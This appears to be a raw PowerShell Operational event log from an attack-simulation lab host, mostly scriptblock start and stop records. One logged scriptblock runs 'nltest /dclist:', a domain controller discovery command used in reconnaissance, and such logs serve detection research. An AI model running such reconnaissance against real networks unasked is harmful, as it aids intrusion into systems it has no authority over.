52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:44 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988914 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988941 Keywords=None Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988940 Keywords=None Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988939 Keywords=None Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988938 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988937 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988936 Keywords=None Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988935 Keywords=None Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988934 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988933 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988932 Keywords=None Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988931 Keywords=None Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:56 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988930 Keywords=None Message=Completed invocation of ScriptBlock ID: 0967355e-020f-4716-a730-adf31e949bc3 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988948 Keywords=None Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988947 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988946 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988945 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988944 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988943 Keywords=None Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:14:57 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988942 Keywords=None Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988958 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988957 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988956 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988955 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988954 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988953 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988952 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988951 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988950 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:03 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988949 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988993 Keywords=None Message=Completed invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988992 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988991 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988990 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988989 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988988 Keywords=None Message=Completed invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988987 Keywords=None Message=Completed invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988986 Keywords=None Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988985 Keywords=None Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988984 Keywords=None Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988983 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988982 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988981 Keywords=None Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988980 Keywords=None Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988979 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988978 Keywords=None Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988977 Keywords=None Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988976 Keywords=None Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988975 Keywords=None Message=Completed invocation of ScriptBlock ID: 552b3b1b-1ed5-4efa-8c49-ea50098cbc6f Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988974 Keywords=None Message=Started invocation of ScriptBlock ID: 552b3b1b-1ed5-4efa-8c49-ea50098cbc6f Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1988973 Keywords=None Message=Creating Scriptblock text (1 of 1): nltest /dclist: ScriptBlock ID: 552b3b1b-1ed5-4efa-8c49-ea50098cbc6f Path: 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988972 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988971 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988970 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988969 Keywords=None Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:15:07 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls 